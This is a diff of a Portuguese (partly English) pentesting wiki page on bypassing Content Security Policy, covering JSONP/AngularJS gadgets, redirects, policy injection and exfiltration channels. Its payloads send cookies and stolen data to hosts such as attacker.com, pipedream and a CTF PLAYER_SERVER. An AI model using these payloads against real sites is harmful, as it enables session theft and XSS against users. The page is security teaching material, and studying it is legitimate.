#### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
Além da mencionada redireção para contornar restrições de caminho, existe outra técnica chamada Relative Path Overwrite (RPO) que pode ser usada em alguns servidores.
|
||||
Além da mencionada redireção para contornar restrições de caminho, existe outra técnica chamada Sobrescrita de Caminho Relativo (RPO) que pode ser usada em alguns servidores.
|
||||
|
||||
Por exemplo, se o CSP permitir o caminho `https://example.com/scripts/react/`, ele pode ser contornado da seguinte forma:
|
||||
|
||||
```html
|
||||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||||
```
|
||||
|
||||
O navegador acabará por carregar `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Isso funciona porque, para o navegador, você está carregando um arquivo chamado `..%2fangular%2fangular.js` localizado em `https://example.com/scripts/react/`, o que está em conformidade com CSP.
|
||||
|
||||
Assim, eles irão decodificá-lo, solicitando efetivamente `https://example.com/scripts/react/../angular/angular.js`, o que é equivalente a `https://example.com/scripts/angular/angular.js`.
|
||||
Assim, ele irá decodificá-lo, solicitando efetivamente `https://example.com/scripts/react/../angular/angular.js`, o que é equivalente a `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Ao **explorar essa inconsistência na interpretação de URL entre o navegador e o servidor, as regras de caminho podem ser contornadas**.
|
||||
|
||||
|
|
@ -442,48 +409,41 @@ A solução é não tratar `%2f` como `/` no lado do servidor, garantindo uma in
|
|||
|
||||
Exemplo Online: [https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
#### Execução de JS em Iframes
|
||||
### Execução de JS em Iframes
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
||||
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
#### **base-uri** ausente
|
||||
### **base-uri** ausente
|
||||
|
||||
Se a diretiva **base-uri** estiver ausente, você pode abusar dela para realizar uma [**injeção de marcação pendente**](../dangling-markup-html-scriptless-injection/).
|
||||
|
||||
Além disso, se a **página estiver carregando um script usando um caminho relativo** (como `<script src="/js/app.js">`) usando um **Nonce**, você pode abusar da **tag base** para fazer com que ele **carregue** o script do **seu próprio servidor, alcançando um XSS.**\
|
||||
Se a página vulnerável for carregada com **httpS**, use um URL httpS na base.
|
||||
|
||||
Além disso, se a **página estiver carregando um script usando um caminho relativo** (como `<script src="/js/app.js">`) usando um **Nonce**, você pode abusar da **tag base** para fazer com que ele **carregue** o script do **seu próprio servidor alcançando um XSS.**\
|
||||
Se a página vulnerável for carregada com **httpS**, use um URL httpS na tag base.
|
||||
```html
|
||||
<base href="https://www.attacker.com/">
|
||||
```
|
||||
### Eventos do AngularJS
|
||||
|
||||
#### Eventos do AngularJS
|
||||
|
||||
Uma política específica conhecida como Content Security Policy (CSP) pode restringir eventos JavaScript. No entanto, o AngularJS introduz eventos personalizados como uma alternativa. Dentro de um evento, o AngularJS fornece um objeto único `$event`, fazendo referência ao objeto de evento do navegador nativo. Este objeto `$event` pode ser explorado para contornar o CSP. Notavelmente, no Chrome, o objeto `$event/event` possui um atributo `path`, que contém uma matriz de objetos implicados na cadeia de execução do evento, com o objeto `window` posicionado invariavelmente no final. Esta estrutura é fundamental para táticas de escape de sandbox.
|
||||
Uma política específica conhecida como Content Security Policy (CSP) pode restringir eventos JavaScript. No entanto, o AngularJS introduz eventos personalizados como alternativa. Dentro de um evento, o AngularJS fornece um objeto único `$event`, fazendo referência ao objeto de evento do navegador nativo. Este objeto `$event` pode ser explorado para contornar o CSP. Notavelmente, no Chrome, o objeto `$event/event` possui um atributo `path`, que contém uma matriz de objetos implicados na cadeia de execução do evento, com o objeto `window` posicionado invariavelmente no final. Esta estrutura é fundamental para táticas de escape de sandbox.
|
||||
|
||||
Ao direcionar esta matriz para o filtro `orderBy`, é possível iterar sobre ela, aproveitando o elemento terminal (o objeto `window`) para acionar uma função global como `alert()`. O trecho de código demonstrado abaixo esclarece este processo:
|
||||
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
|
||||
Este trecho destaca o uso da diretiva `ng-focus` para acionar o evento, empregando `$event.path|orderBy` para manipular o array `path`, e aproveitando o objeto `window` para executar a função `alert()`, revelando assim `document.cookie`.
|
||||
|
||||
**Encontre outras formas de burlar o Angular em** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
|
||||
#### AngularJS e domínio na lista branca
|
||||
|
||||
### AngularJS e domínio na lista branca
|
||||
```
|
||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
|
||||
Uma política CSP que lista domínios para carregamento de scripts em uma aplicação Angular JS pode ser contornada através da invocação de funções de retorno e certas classes vulneráveis. Mais informações sobre essa técnica podem ser encontradas em um guia detalhado disponível neste [repositório git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
|
||||
|
||||
Cargas de trabalho funcionais:
|
||||
|
||||
```html
|
||||
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
|
||||
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
|
||||
|
|
@ -491,17 +451,15 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
|||
<!-- no longer working -->
|
||||
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
|
||||
```
|
||||
|
||||
Outros pontos de execução arbitrária JSONP podem ser encontrados [**aqui**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (alguns deles foram excluídos ou corrigidos)
|
||||
|
||||
#### Bypass via Redirection
|
||||
### Bypass via Redirection
|
||||
|
||||
O que acontece quando CSP encontra uma redireção do lado do servidor? Se a redireção levar a uma origem diferente que não é permitida, ela ainda falhará.
|
||||
|
||||
No entanto, de acordo com a descrição em [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se a redireção levar a um caminho diferente, ela pode contornar as restrições originais.
|
||||
|
||||
Aqui está um exemplo:
|
||||
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
|
@ -517,8 +475,7 @@ Aqui está um exemplo:
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
Se o CSP estiver definido como `https://www.google.com/a/b/c/d`, uma vez que o caminho é considerado, os scripts `/test` e `/a/test` serão bloqueados pelo CSP.
|
||||
Se o CSP estiver definido como `https://www.google.com/a/b/c/d`, uma vez que o caminho é considerado, tanto os scripts `/test` quanto `/a/test` serão bloqueados pelo CSP.
|
||||
|
||||
No entanto, o `http://localhost:5555/301` final será **redirecionado no lado do servidor para `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Como se trata de um redirecionamento, o **caminho não é considerado** e o **script pode ser carregado**, contornando assim a restrição de caminho.
|
||||
|
||||
|
|
@ -526,29 +483,25 @@ Com esse redirecionamento, mesmo que o caminho seja especificado completamente,
|
|||
|
||||
Portanto, a melhor solução é garantir que o site não tenha vulnerabilidades de redirecionamento aberto e que não haja domínios que possam ser explorados nas regras do CSP.
|
||||
|
||||
#### Contornar o CSP com marcação pendente
|
||||
### Bypass CSP com marcação pendente
|
||||
|
||||
Leia [aqui](../dangling-markup-html-scriptless-injection/) como fazer.
|
||||
|
||||
#### 'unsafe-inline'; img-src \*; via XSS
|
||||
|
||||
### 'unsafe-inline'; img-src \*; via XSS
|
||||
```
|
||||
default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
|
||||
`'unsafe-inline'` significa que você pode executar qualquer script dentro do código (XSS pode executar código) e `img-src *` significa que você pode usar na página qualquer imagem de qualquer recurso.
|
||||
|
||||
Você pode contornar esse CSP exfiltrando os dados por meio de imagens (neste caso, o XSS abusa de um CSRF onde uma página acessível pelo bot contém um SQLi e extrai a flag por meio de uma imagem):
|
||||
|
||||
```javascript
|
||||
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
|
||||
```
|
||||
|
||||
De: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
Também é possível abusar dessa configuração para **carregar código JavaScript inserido dentro de uma imagem**. Por exemplo, se a página permitir o carregamento de imagens do Twitter, você poderia **criar** uma **imagem especial**, **fazer upload** dela no Twitter e abusar do "**unsafe-inline**" para **executar** um código JS (como um XSS regular) que irá **carregar** a **imagem**, **extrair** o **JS** dela e **executá-lo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
Também é possível abusar dessa configuração para **carregar código JavaScript inserido dentro de uma imagem**. Se, por exemplo, a página permitir o carregamento de imagens do Twitter, você poderia **criar** uma **imagem especial**, **carregá-la** no Twitter e abusar do "**unsafe-inline**" para **executar** um código JS (como um XSS regular) que irá **carregar** a **imagem**, **extrair** o **JS** dela e **executá-lo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
#### Com Service Workers
|
||||
### Com Service Workers
|
||||
|
||||
A função **`importScripts`** dos service workers não é limitada pelo CSP:
|
||||
|
||||
|
|
@ -556,34 +509,31 @@ A função **`importScripts`** dos service workers não é limitada pelo CSP:
|
|||
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
#### Injeção de Política
|
||||
### Injeção de Política
|
||||
|
||||
**Pesquisa:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
|
||||
|
||||
**Chrome**
|
||||
#### Chrome
|
||||
|
||||
Se um **parâmetro** enviado por você está sendo **colado dentro** da **declaração** da **política**, então você poderia **alterar** a **política** de alguma forma que a torne **inútil**. Você poderia **permitir script 'unsafe-inline'** com qualquer um desses bypasses:
|
||||
|
||||
```bash
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
```
|
||||
|
||||
Porque esta diretiva irá **sobrescrever diretivas script-src existentes**.\
|
||||
Você pode encontrar um exemplo aqui: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
|
||||
**Edge**
|
||||
#### Edge
|
||||
|
||||
No Edge é muito mais simples. Se você adicionar no CSP apenas isso: **`;_`** o **Edge** irá **descartar** toda a **política**.\
|
||||
Exemplo: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
|
||||
|
||||
#### img-src \*; via XSS (iframe) - Ataque de tempo
|
||||
### img-src \*; via XSS (iframe) - Ataque de tempo
|
||||
|
||||
Observe a falta da diretiva `'unsafe-inline'`\
|
||||
Desta vez, você pode fazer a vítima **carregar** uma página em **seu controle** via **XSS** com um `<iframe`. Desta vez, você fará a vítima acessar a página de onde deseja extrair informações (**CSRF**). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder **controlar o tempo que a página precisa para carregar**, poderá extrair as informações necessárias.
|
||||
|
||||
Desta vez, uma **bandeira** será extraída, sempre que um **caractere for corretamente adivinhado** via SQLi a **resposta** levará **mais tempo** devido à função de sleep. Em seguida, você poderá extrair a bandeira:
|
||||
Desta vez, você pode fazer a vítima **carregar** uma página sob **seu controle** via **XSS** com um `<iframe>`. Desta vez, você fará a vítima acessar a página de onde deseja extrair informações (**CSRF**). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder **controlar o tempo que a página precisa para carregar**, poderá extrair as informações necessárias.
|
||||
|
||||
Desta vez, uma **bandeira** será extraída, sempre que um **caractere for corretamente adivinhado** via SQLi, a **resposta** levará **mais tempo** devido à função de espera. Em seguida, você poderá extrair a bandeira:
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
|
||||
|
|
@ -643,16 +593,15 @@ console.log(prefix);
|
|||
run();
|
||||
</script>
|
||||
```
|
||||
|
||||
#### Via Bookmarklets
|
||||
### Via Bookmarklets
|
||||
|
||||
Este ataque implicaria alguma engenharia social onde o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Este bookmarklet conteria **código javascript malicioso** que, quando arrastado e solto ou clicado, seria executado no contexto da janela web atual, **burlando o CSP e permitindo roubar informações sensíveis** como cookies ou tokens.
|
||||
|
||||
Para mais informações [**verifique o relatório original aqui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
#### CSP bypass restringindo o CSP
|
||||
### CSP bypass restringindo o CSP
|
||||
|
||||
Neste [**writeup do CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é burlado ao injetar dentro de um iframe permitido um CSP mais restritivo que impedia o carregamento de um arquivo JS específico que, então, via **poluição de protótipo** ou **dom clobbering** permitia **abusar de um script diferente para carregar um script arbitrário**.
|
||||
Neste [**writeup do CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é burlado injetando em um iframe permitido um CSP mais restritivo que impedia o carregamento de um arquivo JS específico que, então, via **poluição de protótipo** ou **dom clobbering** permitia **abusar de um script diferente para carregar um script arbitrário**.
|
||||
|
||||
Você pode **restringir um CSP de um Iframe** com o atributo **`csp`**:
|
||||
|
||||
|
|
@ -663,50 +612,44 @@ Você pode **restringir um CSP de um Iframe** com o atributo **`csp`**:
|
|||
{% endcode %}
|
||||
|
||||
No [**writeup do CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível através de **injeção de HTML** **restringir** ainda mais um **CSP** para que um script que impedia CSTI fosse desativado e, portanto, a **vulnerabilidade se tornasse explorável.**\
|
||||
CSP pode ser tornada mais restritiva usando **tags meta HTML** e scripts inline podem ser desativados **removendo** a **entrada** permitindo seu **nonce** e **habilitando scripts inline específicos via sha**:
|
||||
|
||||
CSP pode ser tornado mais restritivo usando **tags meta HTML** e scripts inline podem ser desativados **removendo** a **entrada** permitindo seu **nonce** e **habilitando scripts inline específicos via sha**:
|
||||
```html
|
||||
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
|
||||
'unsafe-eval' 'strict-dynamic'
|
||||
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
|
||||
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
|
||||
```
|
||||
### Exfiltração de JS com Content-Security-Policy-Report-Only
|
||||
|
||||
#### Exfiltração de JS com Content-Security-Policy-Report-Only
|
||||
|
||||
Se você conseguir fazer com que o servidor responda com o cabeçalho **`Content-Security-Policy-Report-Only`** com um **valor controlado por você** (talvez por causa de um CRLF), você poderia fazer com que ele aponte para o seu servidor e se você **envolver** o **conteúdo JS** que deseja exfiltrar com **`<script>`** e porque é altamente provável que `unsafe-inline` não seja permitido pelo CSP, isso irá **disparar um erro de CSP** e parte do script (contendo as informações sensíveis) será enviada para o servidor a partir do `Content-Security-Policy-Report-Only`.
|
||||
Se você conseguir fazer com que o servidor responda com o cabeçalho **`Content-Security-Policy-Report-Only`** com um **valor controlado por você** (talvez por causa de um CRLF), você poderia fazer com que ele aponte para o seu servidor e se você **envolver** o **conteúdo JS** que deseja exfiltrar com **`<script>`** e porque é altamente provável que `unsafe-inline` não seja permitido pelo CSP, isso irá **disparar um erro de CSP** e parte do script (contendo as informações sensíveis) será enviada para o servidor a partir de `Content-Security-Policy-Report-Only`.
|
||||
|
||||
Para um exemplo [**verifique este writeup de CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
#### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
|
||||
|
||||
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
|
||||
```javascript
|
||||
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
|
||||
```
|
||||
|
||||
#### Vazamento de Informações com CSP e Iframe
|
||||
### Vazamento de Informações com CSP e Iframe
|
||||
|
||||
* Um `iframe` é criado apontando para uma URL (vamos chamá-la de `https://example.redirect.com`) que é permitida pelo CSP.
|
||||
* Esta URL então redireciona para uma URL secreta (por exemplo, `https://usersecret.example2.com`) que **não é permitida** pelo CSP.
|
||||
* Ao escutar o evento `securitypolicyviolation`, é possível capturar a propriedade `blockedURI`. Esta propriedade revela o domínio da URI bloqueada, vazando o domínio secreto para o qual a URL inicial redirecionou.
|
||||
* Essa URL então redireciona para uma URL secreta (por exemplo, `https://usersecret.example2.com`) que **não é permitida** pelo CSP.
|
||||
* Ao escutar o evento `securitypolicyviolation`, é possível capturar a propriedade `blockedURI`. Essa propriedade revela o domínio da URI bloqueada, vazando o domínio secreto para o qual a URL inicial redirecionou.
|
||||
|
||||
É interessante notar que navegadores como Chrome e Firefox têm comportamentos diferentes ao lidar com iframes em relação ao CSP, levando a vazamentos potenciais de informações sensíveis devido ao comportamento indefinido.
|
||||
|
||||
Outra técnica envolve explorar o próprio CSP para deduzir o subdomínio secreto. Este método se baseia em um algoritmo de busca binária e na ajustagem do CSP para incluir domínios específicos que são deliberadamente bloqueados. Por exemplo, se o subdomínio secreto é composto por caracteres desconhecidos, você pode testar iterativamente diferentes subdomínios modificando a diretiva CSP para bloquear ou permitir esses subdomínios. Aqui está um trecho mostrando como o CSP pode ser configurado para facilitar este método:
|
||||
|
||||
Outra técnica envolve explorar o próprio CSP para deduzir o subdomínio secreto. Este método depende de um algoritmo de busca binária e ajuste do CSP para incluir domínios específicos que são deliberadamente bloqueados. Por exemplo, se o subdomínio secreto é composto por caracteres desconhecidos, você pode testar iterativamente diferentes subdomínios modificando a diretiva CSP para bloquear ou permitir esses subdomínios. Aqui está um trecho mostrando como o CSP pode ser configurado para facilitar esse método:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
|
||||
Ao monitorar quais solicitações são bloqueadas ou permitidas pelo CSP, é possível reduzir os possíveis caracteres no subdomínio secreto, eventualmente descobrindo a URL completa.
|
||||
Ao monitorar quais solicitações são bloqueadas ou permitidas pelo CSP, é possível reduzir as possíveis caracteres no subdomínio secreto, eventualmente descobrindo a URL completa.
|
||||
|
||||
Ambos os métodos exploram as nuances da implementação e comportamento do CSP nos navegadores, demonstrando como políticas aparentemente seguras podem inadvertidamente vazar informações sensíveis.
|
||||
|
||||
Truque de [**aqui**](https://ctftime.org/writeup/29310).
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (377).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
||||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
|
||||
|
||||
**Percepções de Hacking**\
|
||||
Engaje-se com conteúdo que mergulha na emoção e desafios do hacking
|
||||
|
|
@ -719,119 +662,105 @@ Fique informado sobre os mais recentes programas de recompensas por bugs lançad
|
|||
|
||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
||||
|
||||
### Tecnologias Inseguras para Bypass CSP
|
||||
## Tecnologias Inseguras para Bypass CSP
|
||||
|
||||
#### Sobrecarga de buffer de resposta PHP
|
||||
### Sobrecarga de buffer de resposta PHP
|
||||
|
||||
O PHP é conhecido por **armazenar em buffer a resposta para 4096** bytes por padrão. Portanto, se o PHP estiver exibindo um aviso, fornecendo **dados suficientes dentro dos avisos**, a **resposta** será **enviada** **antes** do **cabeçalho CSP**, fazendo com que o cabeçalho seja ignorado.\
|
||||
O PHP é conhecido por **bufferizar a resposta para 4096** bytes por padrão. Portanto, se o PHP estiver exibindo um aviso, fornecendo **dados suficientes dentro dos avisos**, a **resposta** será **enviada** **antes** do **cabeçalho CSP**, fazendo com que o cabeçalho seja ignorado.\
|
||||
Assim, a técnica consiste basicamente em **preencher o buffer de resposta com avisos** para que o cabeçalho CSP não seja enviado.
|
||||
|
||||
Ideia de [**este writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
#### Reescrever Página de Erro
|
||||
### Reescrever Página de Erro
|
||||
|
||||
De [**este writeup**](https://blog.ssrf.kr/69) parece que foi possível contornar uma proteção CSP carregando uma página de erro (potencialmente sem CSP) e reescrevendo seu conteúdo.
|
||||
|
||||
```javascript
|
||||
a = window.open('/' + 'x'.repeat(4100));
|
||||
setTimeout(function() {
|
||||
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
|
||||
}, 1000);
|
||||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
#### ALGUNS + 'self' + wordpress
|
||||
|
||||
ALGUNS é uma técnica que abusa de um XSS (ou XSS altamente limitado) em um endpoint de uma página para abusar de outros endpoints da mesma origem. Isso é feito carregando o endpoint vulnerável de uma página do atacante e, em seguida, atualizando a página do atacante para o endpoint real na mesma origem que você deseja abusar. Dessa forma, o endpoint vulnerável pode usar o objeto `opener` no payload para acessar o DOM do endpoint real a ser abusado. Para mais informações, consulte:
|
||||
SOME é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um endpoint de uma página** para **abusar** de **outros endpoints da mesma origem.** Isso é feito carregando o endpoint vulnerável de uma página do atacante e depois atualizando a página do atacante para o endpoint real na mesma origem que você deseja abusar. Dessa forma, o **endpoint vulnerável** pode usar o objeto **`opener`** no **payload** para **acessar o DOM** do **endpoint real a ser abusado**. Para mais informações, consulte:
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Além disso, o **wordpress** possui um endpoint **JSONP** em `/wp-json/wp/v2/users/1?_jsonp=data` que irá refletir os dados enviados na saída (com a limitação de apenas letras, números e pontos).
|
||||
Além disso, o **wordpress** possui um endpoint **JSONP** em `/wp-json/wp/v2/users/1?_jsonp=data` que irá **refletir** os **dados** enviados na saída (com a limitação de apenas letras, números e pontos).
|
||||
|
||||
Um atacante pode abusar desse endpoint para gerar um ataque ALGUNS contra o WordPress e incorporá-lo dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`. Note que este script será carregado porque é permitido por 'self'. Além disso, e porque o WordPress está instalado, um atacante pode abusar do ataque ALGUNS através do endpoint de **callback** vulnerável que contorna a CSP para conceder mais privilégios a um usuário, instalar um novo plugin...\
|
||||
Um atacante pode abusar desse endpoint para **gerar um ataque SOME** contra o WordPress e **incorporá-lo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` observe que esse **script** será **carregado** porque é **permitido por 'self'**. Além disso, e porque o WordPress está instalado, um atacante pode abusar do **ataque SOME** através do **endpoint de callback** **vulnerável** que **burla o CSP** para conceder mais privilégios a um usuário, instalar um novo plugin...\
|
||||
Para mais informações sobre como realizar esse ataque, consulte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
### Bypasses de Exfiltração CSP
|
||||
## Bypasses de Exfiltração de CSP
|
||||
|
||||
Se houver um CSP estrito que não permita interagir com servidores externos, há algumas coisas que você sempre pode fazer para exfiltrar as informações.
|
||||
Se houver um CSP restrito que não permita que você **interaja com servidores externos**, há algumas coisas que você sempre pode fazer para exfiltrar as informações.
|
||||
|
||||
#### Localização
|
||||
|
||||
Você pode simplesmente atualizar a localização para enviar ao servidor do atacante as informações secretas:
|
||||
### Localização
|
||||
|
||||
Você poderia simplesmente atualizar a localização para enviar ao servidor do atacante as informações secretas:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split('=')[1]+".";
|
||||
document.location = "https://attacker.com/?" + sessionid;
|
||||
```
|
||||
|
||||
#### Meta tag
|
||||
### Meta tag
|
||||
|
||||
Você pode redirecionar injetando uma meta tag (isso é apenas um redirecionamento, isso não vazará conteúdo)
|
||||
|
||||
```html
|
||||
<meta http-equiv="refresh" content="1; http://attacker.com">
|
||||
```
|
||||
|
||||
#### DNS Prefetch
|
||||
### DNS Prefetch
|
||||
|
||||
Para carregar páginas mais rapidamente, os navegadores vão pré-resolver os nomes de host em endereços IP e armazená-los em cache para uso posterior.\
|
||||
Você pode indicar a um navegador para pré-resolver um nome de host com: `<link rel="dns-prefetch" href="something.com">`
|
||||
|
||||
Você poderia abusar desse comportamento para **exfiltrar informações sensíveis por meio de solicitações DNS**:
|
||||
|
||||
```javascript
|
||||
var sessionid = document.cookie.split('=')[1]+".";
|
||||
var body = document.getElementsByTagName('body')[0];
|
||||
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
|
||||
```
|
||||
### Bypassing Content Security Policy (CSP)
|
||||
|
||||
#### Bypassing Content Security Policy (CSP)
|
||||
#### Introduction
|
||||
|
||||
**Introduction**
|
||||
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a specific web page. However, in some cases, it is possible to bypass CSP protections using various techniques.
|
||||
|
||||
Content Security Policy (CSP) is an added layer of security that helps detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, there are ways to bypass CSP protections and execute malicious code on a target website.
|
||||
#### Bypassing CSP using `unsafe-inline`
|
||||
|
||||
**Bypass Techniques**
|
||||
One common way to bypass CSP is by exploiting the `unsafe-inline` directive. This directive allows the execution of inline scripts and styles, which can be abused by an attacker to inject malicious code into the web page. By finding a way to inject code inline, an attacker can bypass CSP protections that restrict the use of inline scripts and styles.
|
||||
|
||||
1. **Unsafe Inline Scripts**: By using inline event handlers or inline script tags, attackers can bypass CSP restrictions that disallow inline scripts.
|
||||
2. **Data: URI Scheme**: Attackers can use the data: URI scheme to embed external resources within a website, bypassing CSP restrictions on loading external resources.
|
||||
3. **Nonce Bypass**: If a website improperly implements nonce-based CSP, attackers can bypass the restrictions by injecting scripts without a nonce.
|
||||
4. **Trusted Types Bypass**: By finding a DOM-based XSS vulnerability, attackers can bypass CSP protections implemented using Trusted Types.
|
||||
#### Bypassing CSP using data: URIs
|
||||
|
||||
**Conclusion**
|
||||
Another technique to bypass CSP is by using data: URIs. Data: URIs allow developers to embed small resources directly into a web page, such as images or scripts. By encoding malicious code into a data: URI and including it in the web page, an attacker can execute code while bypassing CSP restrictions on external resources.
|
||||
|
||||
While Content Security Policy is an effective security measure, it is important to understand the potential bypass techniques that attackers may use to circumvent CSP protections. Regular security assessments and testing can help identify and mitigate these bypass techniques to ensure the security of web applications.
|
||||
#### Conclusion
|
||||
|
||||
While Content Security Policy is a powerful security mechanism for protecting web applications against various types of attacks, it is important for developers to be aware of potential bypass techniques. By understanding how CSP can be bypassed, developers can implement more robust security measures to protect their web applications from malicious actors.
|
||||
```javascript
|
||||
const linkEl = document.createElement('link');
|
||||
linkEl.rel = 'prefetch';
|
||||
linkEl.href = urlWithYourPreciousData;
|
||||
document.head.appendChild(linkEl);
|
||||
```
|
||||
|
||||
Para evitar que isso aconteça, o servidor pode enviar o cabeçalho HTTP:
|
||||
|
||||
```
|
||||
X-DNS-Prefetch-Control: off
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
Aparentemente, essa técnica não funciona em navegadores sem interface (bots)
|
||||
{% endhint %}
|
||||
|
||||
#### WebRTC
|
||||
### WebRTC
|
||||
|
||||
